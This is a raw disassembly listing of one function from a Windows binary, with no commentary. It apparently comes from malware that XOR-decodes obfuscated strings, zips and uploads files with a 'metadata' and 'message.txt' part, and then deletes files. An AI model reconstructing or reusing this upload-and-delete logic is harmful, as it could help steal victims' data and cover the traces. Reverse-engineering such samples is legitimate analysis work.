mov rdx, qword [rbp + 0xf8]
cmp rdx, 7
jbe 0x14003fcdc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003fcd7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041152
call fcn.140260e60
test bl, bl
je 0x140040259
lea rdx, str.041c1217574347505243595c5f495c585a48565f5d51505e5e54
lea rcx, [rbp + 0x180]
call fcn.1400122d0
lea rdx, str.lhfgmlhfgmhlfgmhlfgmhkfghmfkghmfgkhfgfg
lea rcx, [rbp + 0x360]
call fcn.1400122d0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0xe0]
call fcn.14003e490
lea r8, [rbp + 0x360]
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x1c0]
call fcn.14003e3b0
mov qword [rbp + 0xc0], r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
movdqa xmm1, xmmword [0x1402fcf50]
movdqu xmmword [rbp + 0x170], xmm1
mov byte [rbp + 0x160], r13b
movups xmmword [rbp + 0x80], xmm0
movdqu xmmword [rbp + 0x90], xmm1
mov byte [rbp + 0x80], r13b
lea r9, [rbp + 0x160]
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0xc0]
call fcn.14001ca80
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14003fdd7
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003fdd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041158
call fcn.140260e60
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x14003fe18
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003fe13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041158
call fcn.140260e60
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x4a0]
call fcn.1402a1980
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rdx, qword [rbp + 0x120]
mov r8d, 0x20
lea rcx, [rbp + 0x4a0]
call fcn.14004e390
mov rax, qword [rbp + 0x4a0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x4a0], rbx
mov rax, qword [rbp + 0x4a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x49c], edx
cmp qword [rbp + 0x530], r13
je 0x140040092
lea rcx, [rbp + 0x1a0]
call fcn.140015230
mov qword [rbp + 0xa0], r13
mov word [rbp + 0xa8], r14w
movaps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0x4a0]
lea rcx, [rsp + 0x58]
call fcn.1400411b0
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x220], xmm0
lea r8, [rbp + 0xa0]
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x1a0]
call fcn.1400605d0
lea rcx, [rbp + 0x4a0]
call fcn.140043de0
lea rcx, [rbp + 0x100]
call fcn.140015230
lea rdx, str.metadata
lea rcx, [rbp - 0x80]
call fcn.1400122d0
lea rdx, [rbp + 0x380]
lea rcx, [rbp - 0x60]
call fcn.140049840
lea rdx, str.message.txt
lea rcx, [rbp - 0x40]
call fcn.1400122d0
lea rdx, str.text_plain
lea rcx, [rbp - 0x20]
call fcn.1400122d0
lea rdx, str.file
lea rcx, [rbp]
call fcn.1400122d0
mov r8, qword [rbp + 0x1a8]
mov rdx, qword [rbp + 0x1a0]
lea rcx, [rbp + 0x20]
call fcn.14005e970
lea rdx, str.file.zip
lea rcx, [rbp + 0x40]
call fcn.1400122d0
lea rdx, str.application_zip
lea rcx, [rbp + 0x60]
call fcn.1400122d0
lea rax, [rbp - 0x80]
mov qword [rbp + 0xa0], rax
lea rax, [rbp + 0x80]
mov qword [rbp + 0xa8], rax
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x100]
call fcn.1400430f0
lea r9, [fcn.140015940]
mov edx, 0x80
lea r8d, [rdx - 0x7e]
lea rcx, [rbp - 0x80]
call fcn.140260fd4
lea rcx, [rbp + 0x80]
call fcn.140031d90
lea rdx, [0x1402f67d0]
lea rcx, [rbp + 0x160]
call fcn.1400122d0
lea r9, [rbp + 0x100]
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xc0]
call fcn.14001d150
lea rcx, [rbp + 0x160]
call fcn.140049640
mov rax, qword [rbp + 0x80]
test rax, rax
je 0x140040038
cmp dword [rax + 0x20], 0xc8
je 0x14004006e
lea rdx, str.Failed_to_send_data:
lea rcx, [0x14035f8a0]
call fcn.140056430
mov ecx, dword [rbp + 0x88]
mov dword [rbp + 0xa0], ecx
lea rdx, [rbp + 0xa0]
mov rcx, rax
call fcn.140012720
mov rcx, rax
call fcn.14005d2f0
lea rcx, [rbp + 0x80]
call fcn.1400189e0
lea rcx, [rbp + 0x100]
call fcn.14004df90
lea rcx, [rbp + 0x1a0]
call fcn.140045c30
mov rax, qword [rbp + 0x4a0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x4a0], rbx
mov rax, qword [rbp + 0x4a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x49c], edx
lea rcx, [rbp + 0x4b0]
call fcn.140043d30
mov rax, qword [rbp + 0x4a0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x4a0], rax
mov rax, qword [rbp + 0x4a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x49c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x550], rax
lea rcx, [rbp + 0x550]
call fcn.1402451c4
nop
mov rcx, qword [rbp + 0xc0]
test rcx, rcx
je 0x140040127
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x140040168
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040163
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041158
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf50]
movdqu xmmword [rbp + 0x1d0], xmm0
mov byte [rbp + 0x1c0], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x1400401c0
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400401bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041158
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf50]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp + 0x378]
cmp rdx, 0xf
jbe 0x140040218
inc rdx
mov rcx, qword [rbp + 0x360]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040213
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041158
call fcn.140260e60
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140040259
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040254
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041158
call fcn.140260e60
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d0], xmm1
mov r8d, 0x5c
lea rdx, str.5147425c524d434054435f33383319342906272c1d3a0500503d1b232a023623543113193b294d312a161e041301
lea rcx, [rbp + 0x1c0]
call fcn.140012310
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.4b55444353414255464a
lea rcx, [rbp + 0xe0]
call fcn.140012310
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r13
mov r8d, 0x1d
lea rdx, str.fusdgyuygueryukdjqsodqsidqsop
lea rcx, [rbp + 0x80]
call fcn.140012310
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], r13
mov r8d, 0x2a
lea rdx, str.zerzerzerzerzerzerzerzerzerzerzrghdhdfghdf
lea rcx, [rbp + 0x160]
call fcn.140012310
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x2c0]
call fcn.14003e490
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov r10, r13
mov qword [rbp + 0x110], r13
mov r11d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x118], r11
mov byte [rbp + 0x100], r10b
mov rdi, r13
mov r12, qword [rbp + 0x98]
mov r15, qword [rbp + 0x80]
cmp qword [rbp + 0x2d0], r13
jbe 0x140040445
mov rsi, qword [rbp + 0x90]
movzx ebx, byte [rsp + 0x50]
nop dword [rax]
lea rcx, [rbp + 0x2c0]
cmp qword [rbp + 0x2d8], 0xf
cmova rcx, qword [rbp + 0x2c0]
lea r8, [rbp + 0x80]
cmp r12, 0xf
cmova r8, r15
xor edx, edx
mov rax, rdi
div rsi
movzx r9d, byte [rdx + r8]
xor r9b, byte [rcx + rdi]
cmp r10, r11
jae 0x140040413
lea rax, [r10 + 1]
mov qword [rbp + 0x110], rax
lea rax, [rbp + 0x100]
cmp r11, 0xf
cmova rax, qword [rbp + 0x100]
mov byte [rax + r10], r9b
mov byte [rax + r10 + 1], 0
jmp 0x140040426
xor bl, bl
test ecx, ecx
jne 0x140041063
jmp 0x14003f709
xor bl, bl
test ecx, ecx
jne 0x14004107e
jmp 0x14003fa6c
xor bl, bl
test ecx, ecx
jne 0x140041099
jmp 0x14003fc96
movzx r8d, bl
mov rdx, r14
lea rcx, [rbp + 0x100]
call fcn.140062770
inc rdi
cmp rdi, qword [rbp + 0x2d0]
jae 0x140040445
mov r11, qword [rbp + 0x118]
mov r10, qword [rbp + 0x110]
jmp 0x140040380
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x2a0]
call fcn.14003e490
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov r10, r13
mov qword [rbp + 0x1f0], r13
mov r11d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x1f8], r11
mov byte [rbp + 0x1e0], r10b
mov rdi, r13
mov r13, qword [rbp + 0x178]
mov rsi, qword [rbp + 0x160]
cmp qword [rbp + 0x2b0], rdi
jbe 0x14004054c
movzx ebx, byte [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
lea rcx, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 0xf
cmova rcx, qword [rbp + 0x2a0]
lea r8, [rbp + 0x160]
cmp r13, 0xf
cmova r8, rsi
xor edx, edx
mov rax, rdi
div qword [rbp + 0x170]
movzx r9d, byte [rdx + r8]
xor r9b, byte [rcx + rdi]
cmp r10, r11
jae 0x14004051a
lea rax, [r10 + 1]
mov qword [rbp + 0x1f0], rax
lea rax, [rbp + 0x1e0]
cmp r11, 0xf
cmova rax, qword [rbp + 0x1e0]
mov byte [rax + r10], r9b
mov byte [rax + r10 + 1], 0
jmp 0x14004052d
movzx r8d, bl
mov rdx, r14
lea rcx, [rbp + 0x1e0]
call fcn.140062770
inc rdi
cmp rdi, qword [rbp + 0x2b0]
jae 0x14004054c
mov r11, qword [rbp + 0x1f8]
mov r10, qword [rbp + 0x1f0]
jmp 0x1400404b0
lea r9, [rbp + 0x380]
lea r8, [rbp + 0x120]
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x100]
call fcn.14003df70
mov rdi, qword [rbp + 0x130]
lea rbx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rbx, qword [rbp + 0x120]
call fcn.140241b54
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], rdi
lea r8, [rbp + 0xc0]
mov edx, eax
lea rcx, [rbp + 0x80]
call fcn.140005880
mov r8d, 3
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xa0]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rbp + 0xc0], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0xa0], ecx
lea r14, str.Xa_
mov qword [rbp + 0xa8], r14
movaps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x220], xmm0
mov eax, dword [rbp + 0xc0]
test eax, eax
je 0x140041047
cmp eax, 1
setne bl
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x140040658
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040653
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004115e
call fcn.140260e60
test bl, bl
je 0x140040717
mov rdi, qword [rbp + 0x130]
lea rbx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rbx, qword [rbp + 0x120]
call fcn.140241b54
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], rdi
lea r8, [rbp + 0xc0]
mov edx, eax
lea rcx, [rbp + 0x80]
call fcn.140005880
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rcx, qword [rbp + 0x80]
call fcn.1402427a0
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140041164
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x140040717
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040712
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004117c
call fcn.140260e60
lea rdx, [rbp + 0x200]
cmp qword [rbp + 0x218], 7
cmova rdx, qword [rbp + 0x200]
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
mov r8, qword [rbp + 0x210]
lea rcx, [rbp + 0x80]
call fcn.140025e20
mov r8d, 3
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xa0]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rbp + 0xc0], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0xa0], ecx
mov qword [rbp + 0xa8], r14
movaps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x220], xmm0
mov eax, dword [rbp + 0xc0]
test eax, eax
je 0x140041052
cmp eax, 1
setne bl
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x1400407f4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400407ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041182
call fcn.140260e60
test bl, bl
je 0x1400408f9
lea rdx, [rbp + 0x200]
cmp qword [rbp + 0x218], 7
cmova rdx, qword [rbp + 0x200]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
mov r8, qword [rbp + 0x210]
lea rcx, [rbp + 0x1a0]
call fcn.140025e20
lea rcx, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 7
cmova rcx, qword [rbp + 0x1a0]
call fcn.1402427a0
mov rdx, rax
shr rdx, 0x20
movzx ecx, al
mov qword [rbp + 0xc0], rcx
mov dword [rbp + 0xa0], edx
mov qword [rbp + 0xa8], r14
movaps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
cmp edx, 0x91
jne 0x1400408a6
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x1a0]
call fcn.14000a3a0
cmp dword [rbp + 0xa0], 0
jne 0x140041188
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 7
jbe 0x1400408f9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400408f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400411a3
call fcn.140260e60
xor ebx, ebx
mov r14d, ebx
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0xf
jbe 0x14004093f
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004093a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
mov qword [rbp + 0x1f0], rbx
mov qword [rbp + 0x1f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1e0], bl
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0xf
jbe 0x140040998
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040993
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
mov qword [rbp + 0x2b0], rbx
mov qword [rbp + 0x2b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2a0], bl
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x1400409f1
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400409ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
mov rdx, qword [rbp + 0x2d8]
cmp rdx, 0xf
jbe 0x140040a32
inc rdx
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040a2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
mov qword [rbp + 0x2d0], rbx
mov qword [rbp + 0x2d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2c0], bl
cmp r13, 0xf
jbe 0x140040a81
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140040a79
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
mov rcx, rsi
call fcn.140260e60
cmp r12, 0xf
jbe 0x140040ab9
lea rdx, [r12 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140040ab1
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
mov rcx, r15
call fcn.140260e60
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140040afa
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040af5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x140040b3b
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040b36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x140040b7c
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040b77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
xor r13d, r13d
mov qword [rbp + 0x130], r13
mov qword [rbp + 0x138], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x120], bl
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x140040bd8
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040bd3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf50]
movdqu xmmword [rbp + 0x150], xmm0
mov byte [rbp + 0x140], bl
mov rdx, qword [rbp + 0x258]
cmp rdx, 0xf
jbe 0x140040c2f
inc rdx
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040c2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
lea rcx, [rbp + 0x3f8]
call fcn.140042b40
lea rcx, [rbp + 0x3e0]
call fcn.140042b40
mov rdx, qword [rbp + 0x398]
cmp rdx, 0xf
jbe 0x140040c88
inc rdx
mov rcx, qword [rbp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040c83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf50]
movdqu xmmword [rbp + 0x390], xmm0
mov byte [rbp + 0x380], 0
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0xf
jbe 0x140040ce0
inc rdx
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040cdb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
mov qword [rbp + 0x2f0], r13
mov qword [rbp + 0x2f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2e0], 0
mov rdx, qword [rbp + 0x318]
cmp rdx, 0xf
jbe 0x140040d3a
inc rdx
mov rcx, qword [rbp + 0x300]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040d35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
mov qword [rbp + 0x310], r13
mov qword [rbp + 0x318], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x300], 0
mov rdx, qword [rbp + 0x3b8]
cmp rdx, 7
jbe 0x140040d99
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040d94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf40]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3a0], r13w
mov rdx, qword [rbp + 0x338]
cmp rdx, 0xf
jbe 0x140040df2
inc rdx
mov rcx, qword [rbp + 0x320]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040ded
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
mov qword [rbp + 0x330], r13
mov qword [rbp + 0x338], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x320], 0
mov rdx, qword [rbp + 0x358]
cmp rdx, 0xf
jbe 0x140040e4c
inc rdx
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040e47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
mov qword [rbp + 0x350], r13
mov qword [rbp + 0x358], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x340], 0
mov rdx, qword [rbp + 0x3d8]
cmp rdx, 7
jbe 0x140040eab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040ea6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
movdqa xmm0, xmmword [0x1402fcf40]
movdqu xmmword [rbp + 0x3d0], xmm0
mov word [rbp + 0x3c0], r13w
mov rdx, qword [rbp + 0x278]
cmp rdx, 0xf
jbe 0x140040f04
inc rdx
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040eff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
mov qword [rbp + 0x270], r13
mov qword [rbp + 0x278], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x260], 0
mov rdx, qword [rbp + 0x298]
cmp rdx, 0xf
jbe 0x140040f5e
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040f59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
mov qword [rbp + 0x290], r13
mov qword [rbp + 0x298], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x280], 0
mov rdx, qword [rbp + 0x218]
cmp rdx, 7
jbe 0x140040fbd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040fb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x218], 7
mov word [rbp + 0x200], r13w
mov rdx, qword [rbp + 0x428]
cmp rdx, 0xf
jbe 0x140041014
inc rdx
mov rcx, qword [rbp + 0x410]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004100f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105d
call fcn.140260e60
mov eax, r14d
mov rcx, qword [rbp + 0x800]
xor rcx, rsp
call fcn.140260e40
lea r11, [rsp + 0x910]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor bl, bl
test ecx, ecx
jne 0x1400410b4
jmp 0x140040612
xor bl, bl
test ecx, ecx
jne 0x1400410cf
jmp 0x1400407ae
call fcn.14027d5c0
int3
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0xa0]
lea rcx, str.exists
call fcn.140008ca0
int3
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0xa0]
lea rcx, str.exists
call fcn.140008ca0
int3
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0xa0]
lea rcx, str.exists
call fcn.140008ca0
int3
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x220]
lea rcx, str.exists
call fcn.140008ca0
int3
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x220]
lea rcx, str.exists
call fcn.140008ca0
int3
call fcn.140003620
int3
call fcn.14027d5c0
int3
call fcn.14027d5c0
int3
call fcn.14027d5c0
int3
lea r9, [rbp + 0x100]
lea r8, [rbp + 0x1a0]
mov edx, eax
lea rcx, str.rename
call fcn.140008c20
int3
call fcn.14027d5c0
int3
call fcn.140003620
int3
call fcn.14027d5c0
int3
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0xa0]
lea rcx, str.remove_all
call fcn.140008ca0
int3
call fcn.14027d5c0
int3
call fcn.14027d5c0
int3
call fcn.14027d5c0
int3
call fcn.14027d5c0
int3
shr rdx, 0x20
lea r8, [rbp + 0x80]
lea rcx, str.remove
call fcn.140008bb0
int3
call fcn.14027d5c0
int3
call fcn.14027d5c0
int3
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0xa0]
lea rcx, str.remove_all
call fcn.140008ca0
int3
call fcn.14027d5c0
int3